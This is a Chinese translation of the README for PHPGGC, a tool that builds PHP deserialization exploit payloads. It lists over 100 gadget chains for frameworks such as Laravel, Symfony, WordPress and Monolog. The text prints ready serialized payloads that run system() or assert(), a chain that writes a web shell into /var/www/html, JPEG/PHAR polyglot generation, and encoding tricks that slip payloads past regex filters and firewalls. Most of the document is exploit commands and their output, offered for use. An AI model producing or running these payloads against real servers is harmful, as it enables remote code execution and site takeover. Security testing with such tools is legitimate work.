项目地址
https://github.com/ambionics/phpggc
PHPGGC:PHP 通用小工具链
PHPGGC 是一个包含 unserialize() 有效载荷的库以及一个从命令行或以编程方式生成它们的工具 。 当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是 frohoff 的 ysoserial 的等价物,但是对于 PHP。 目前,该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、Slim、SwiftMailer、Symfony、Wordpress、Yii 和 ZendFramework。
要求
运行 PHPGGC 需要 PHP >= 5.6。
用法
运行 ./phpggc -l
以获取小工具链列表:
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct
CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
Dompdf/FD2 ? < 1.1.1 File delete __destruct *
Drupal7/FD1 7.0 < ? File delete __destruct *
Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct *
Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct *
Kohana/FR1 3.* File read __toString *
Laminas/FD1 <= 2.11.2 File delete __destruct
Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct *
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE11 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
Laravel/RCE12 5.8.35, 7.0.0, 9.3.10 RCE (Function call) __destruct *
Magento/FW1 ? <= 1.9.4.0 File write __destruct *
Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct
Magento2/FD1 * File delete __destruct *
Monolog/FW1 3.0.0 <= 3.1.0+ File write __destruct *
Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+ RCE (Function call) __destruct
Monolog/RCE2 1.4.1 <= 2.7.0+ RCE (Function call) __destruct
Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct
Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct *
Monolog/RCE5 1.25 <= 2.7.0+ RCE (Function call) __destruct
Monolog/RCE6 1.10.0 <= 2.7.0+ RCE (Function call) __destruct
Monolog/RCE7 1.10.0 <= 2.7.0+ RCE (Function call) __destruct *
Monolog/RCE8 3.0.0 <= 3.1.0+ RCE (Function call) __destruct *
Monolog/RCE9 3.0.0 <= 3.1.0+ RCE (Function call) __destruct *
Phalcon/RCE1 <= 1.2.2 RCE __wakeup *
PHPCSFixer/FD1 <= 2.17.3 File delete __destruct
PHPCSFixer/FD2 <= 2.17.3 File delete __destruct
PHPExcel/FD1 1.8.2+ File delete __destruct
PHPExcel/FD2 <= 1.8.1 File delete __destruct
PHPExcel/FD3 1.8.2+ File delete __destruct
PHPExcel/FD4 <= 1.8.1 File delete __destruct
PHPSecLib/RCE1 2.0.0 <= 2.0.34 RCE (PHP code) __destruct *
Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString
Slim/RCE1 3.8.1 RCE (Function call) __toString
Smarty/FD1 ? File delete __destruct
Smarty/SSRF1 ? SSRF __destruct *
Spiral/RCE1 2.7.0 <= 2.8.13 RCE (Function call) __destruct
Spiral/RCE2 -2.8+ RCE (Function call) __destruct *
SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct
SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString
SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString
SwiftMailer/FW3 5.0.1 File write __toString
SwiftMailer/FW4 4.0.0 <= ? File write __destruct
Symfony/FW1 2.5.2 File write DebugImport *
Symfony/FW2 3.4 File write __destruct
Symfony/RCE1 3.3 RCE (Command) __destruct *
Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct *
Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct *
Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct *
Symfony/RCE5 5.2.* RCE (Function call) __destruct
Symfony/RCE6 v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13 RCE (Command) __destruct *
TCPDF/FD1 <= 6.3.5 File delete __destruct *
ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct *
ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct *
ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct *
ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct *
Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct *
WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString *
WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString *
WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString *
WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
Yii/RCE1 1.1.20 RCE (Function call) __wakeup *
Yii2/RCE1 <2.0.38 RCE (Function call) __destruct *
Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct *
ZendFramework/FD1 ? <= 1.12.20 File delete __destruct
ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct *
ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString *
ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct
ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct *
ZendFramework/RCE5 2.0.0rc2 <= 2.5.3 RCE (Function call) __destruct
过滤小工具链:
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
每个小工具链都有:
- 名称:框架/库的名称
- 版本:小工具适用的框架/库的版本
- 类型:利用类型:RCE、文件写入、文件读取、包含…
- Vector:反序列化后触发链的向量(
__destruct()
,__toString()
,offsetGet()
, …) - Informations:关于链的其他信息
用于 -i
获取有关链的详细信息:
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
选择链后,运行 ./phpggc <gadget-chain> [parameters]
以获取有效负载。 例如,要获取 Monolog 的有效负载,您需要执行以下操作:
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
对于使用 SwiftMailer 写入的文件,您需要执行以下操作:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
Wrapper
( --wrapper
) -w
选项允许您定义包含以下函数的 PHP 文件:
process_parameters(array $parameters)
:之前 调用generate()
,允许更改参数process_object(object $object)
:之前 调用serialize()
,允许改变对象process_serialized(string $serialized)
:在 之后 调用serialize()
,允许更改序列化字符串
例如,如果易受攻击的代码如下所示:
<?php
$data = unserialize($_GET['data']);
print $data['message'];
你可以使用__toString()
链条,像这样包裹它:
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
return array(
'message' => $object
);
}
你会像这样调用 phpggc:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
PHAR(GGC)
历史
在 BlackHat US 2018 上,@s_n_t 发布了 PHARGGC,它是 PHPGGC 的一个分支,它没有构建序列化的有效负载,而是构建了一个完整的 PHAR 文件。此 PHAR 文件包含序列化数据,因此可用于各种利用技术(file_exists
、fopen
等)。论文在这里。
执行
PHAR 档案有三种不同的格式:PHAR、TAR 和 ZIP。其中三个由 PHPGGC 支持。可以使用--phar-jpeg
( -pj
) 生成多语言文件。其他选项可用(使用-h
)。
例子
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id
编码器
参数允许修改有效负载的输出方式。例如,-u
将对其进行 URL 编码,-b
并将其转换为 base64。 有效负载通常包含 NULL 字节,不能按原样复制/粘贴。用于-s
软 URL 编码,使负载可读。
编码器可以链接起来,因此顺序很重要。例如,./phpggc -b -u -u slim/rce1 system id
将 base64 有效负载,然后对其进行两次 URLencode。
高级:增强功能
快速销毁
PHPGGC 实现了一个--fast-destruct
( -f
) 标志,这将确保您的序列化对象将在unserialize()
调用后立即销毁,而不是在脚本结束时销毁。我建议将它用于每个__destruct
vector,因为它提高了可靠性。例如,如果 PHP 脚本在调用后引发异常,则__destruct
对象的方法可能不会被调用。由于它与编码器同时处理,因此需要先进行设置。
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...
ASCII 字符串
使用S
序列化格式而不是标准s
. 这会将每个非 ASCII 字符替换为十六进制表示形式: s:5:"A<null_byte>B<cr><lf>";̀
->S:5:"A\00B\09\0D";
这在出于某种原因不允许使用非 ASCII 字符(例如 NULL BYTE)时很有用。由于有效负载通常包含它们,因此这确保了有效负载仅包含 ASCII 值。 注意:这是实验性的,在某些情况下可能不起作用。
Armor 字符串
使用S
序列化格式而不是标准s
. 这会将每个字符替换为十六进制表示形式: s:5:"A<null_byte>B<cr><lf>";̀
->S:5:"\41\00\42\09\0D";
当防火墙或 PHP 代码阻止字符串时,这会派上用场。 注意:这是实验性的,在某些情况下可能不起作用。 注意:这会使有效负载中的每个字符串增长 3 倍。
加号
有时,PHP 脚本会使用正则表达式(例如/O:[0-9]+:
. 使用O:+123:...
instead of很容易绕过这一点O:123:
。可以使用--plus-numbers <types>
, 或-n <types>
, 自动+
在符号前添加这些符号。例如,要混淆对象和字符串,可以使用--n Os
:请注意,从 PHP 7.2 开始,只有i
和d
(float) 类型可以有一个+
.
测试你的链
要测试您要使用的小工具链是否在目标环境中工作,请跳转到您环境的文件夹并使用--test-payload
选项无参数地运行链。
例如,测试是否Monolog/RCE2
适用于 Symfony 4.x
:
$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !
0
如果有效载荷被触发,退出代码将是,1
否则。
针对包的每个版本测试你的链
如果您想知道小工具链适用于哪个版本的包,您可以使用test-gc-compatibility.py
.
$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev │ OK │ OK │ KO │
│ 2.3.0 │ OK │ OK │ KO │
│ 2.2.0 │ OK │ OK │ KO │
│ 2.1.1 │ OK │ OK │ KO │
│ 2.1.0 │ OK │ OK │ KO │
│ 2.0.2 │ OK │ OK │ KO │
│ 2.0.1 │ OK │ OK │ KO │
│ 2.0.0 │ OK │ OK │ KO │
│ 2.0.0-beta2 │ OK │ OK │ KO │
│ 2.0.0-beta1 │ OK │ OK │ KO │
│ 1.x-dev │ OK │ OK │ KO │
│ 1.26.1 │ OK │ OK │ KO │
│ 1.26.0 │ OK │ OK │ KO │
│ 1.25.5 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
...
│ 1.0.1 │ OK │ KO │ KO │
│ 1.0.0 │ OK │ KO │ KO │
│ 1.0.0-RC1 │ OK │ KO │ KO │
│ dev-main │ OK │ OK │ KO │
│ * dev-phpstan │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
您可以使用以下语法指定要测试的版本。
$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
应用程序接口
您可以编写 PHP 脚本,而不是将 PHPGGC 用作命令行工具:
<?php
# Include PHPGGC
include("phpggc/lib/PHPGGC.php");
# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();
# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
'function' => 'system',
'parameter' => 'id',
]);
# Generate the payload
$object = $gc->generate($parameters);
# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two
$object = $gc->process_object($object);
# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);
# Display it
print($serialized . "\n");
# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());
这使您可以更轻松地调整参数或编写漏洞利用程序。 注意:目前这是非常实验性的,所以请报告错误。
贡献
pull request非常受欢迎。请遵循以下简单准则:
__destruct()
永远是最好的矢量图- 至少指定你构建有效载荷的库的版本
- 如果保留默认值,则不要在小工具定义中包含未使用的参数。它只会使有效载荷更大。
- 尊重代码风格:例如,左括号
{
换行,数组应该写成 as[1, 2, 3]
而不是旧的array(1, 2, 3)
, 符号。
在代码方面,目录结构相当简单:小工具在gadgets.php中,描述 + 逻辑在chain.php中。如果需要修改参数,您可以定义预处理和后处理方法。希望已经实现的小工具应该足以让您构建自己的小工具。否则,我很乐意回答您的问题。
--new <framework> <type>
命令行选项可用于为新的小工具链创建目录和文件结构。例如,使用./phpggc -n Drupal RCE
会创建一个新的 Drupal RCE gadgetchain。
Docker
如果不想安装 PHP,可以使用docker build . -t 'phpggc'
.
生成小工具链。
$ docker run phpggc Monolog/rce1 'system' 'id'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}
从码头运行test-gc-compatibility.py
。
$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.2 │ OK │ OK │ OK │
│ 2.7.2 │ OK │ OK │ KO │
└──────────────────────────┴─────────┴───────────────┴───────────────┘
没有回复内容